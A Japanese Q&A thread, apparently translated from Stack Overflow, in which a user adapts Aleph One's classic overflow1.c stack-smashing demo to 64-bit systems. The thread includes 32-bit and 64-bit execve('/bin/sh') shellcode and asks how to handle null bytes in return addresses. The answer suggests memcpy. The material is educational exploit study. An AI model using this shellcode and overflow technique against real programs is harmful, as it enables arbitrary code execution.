1

overflow1.cAleph One による Smashing the Stack for Fun and Profit の論文から実行しようとしています。

オリジナルのoverflow1.cコード:

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

このコードは、32 ビット システムで正常に動作します。

64 ビット システムで動作するようにコードを変更しました。

char shellcode[] = "\x48\x31\xc0"                // xor    %rax,%rax
"\x99"                                       // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"   // mov $0x68732f6e69622fff,%rdi
"\xb0\x3b"                                   // mov    $0x3b,%al
"\x48\xc1\xef\x08"                           // shr    $0x8,%rdi
"\x57"                                       // push   %rdi
"\x48\x89\xe7"                               // mov    %rsp,%rdi
"\x57"                                       // push   %rdi
"\x52"                                       // push   %rdx
"\x48\x89\xe6"                               // mov    %rsp,%rsi
"\x0f\x05";                                  // syscall

char large_string[144];

int main(void) {
    char buffer[96];
    int i;
    long int *long_ptr = (long int *) large_string;
    printf("0x%x", buffer);
    for (i = 0; i < 18; i++)
        *(long_ptr + i) = (long int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

プログラムはシェルコードのみをロードし、リターン アドレスを のアドレスで上書きしますbuffer。コードは想定どおりに機能します。

ただし、ここで問題が発生します。

buffer64 ビット システムの のアドレスが であるとしましょう。0x7fffffffdc10それlong intを にキャストし0x00007fffffffdc10ます。これが に書き込まれるlarge_stringと、00は null として機能し、文字列を終了します。どうすればこれを克服できますか?

64 ビット システムには 4 バイト アドレスではなく 8 バイト アドレスがあるため、アドレスを整数だけに型キャストすることはできません。「0x00」ヌル文字をエスケープするにはどうすればよいですか?

4

1 に答える 1

0

large_string は文字列ではなく、バイト バッファーです。そのため、文字列関数を使用しないでください。

for (i = 0; i < sizeof(shellcode); i++)
    large_string[i] = shellcode[i];
memcpy(buffer,large_string, sizeof(shellcode));

補足:

  • 最初に buffer のアドレスを large_string に 18 回書き込んでから large_string を上書きするのはなぜですか?
  • 特定の長さのシェルコードがあり、異なる長さで large_string を構築し、最後に別の長さでバッファに書き込みます。たとえば、buffer は large_string よりも短いため、問題が発生する可能性があります。あなたはそれをもっとうまくやるべきです。
于 2015-02-05T09:22:29.810 に答える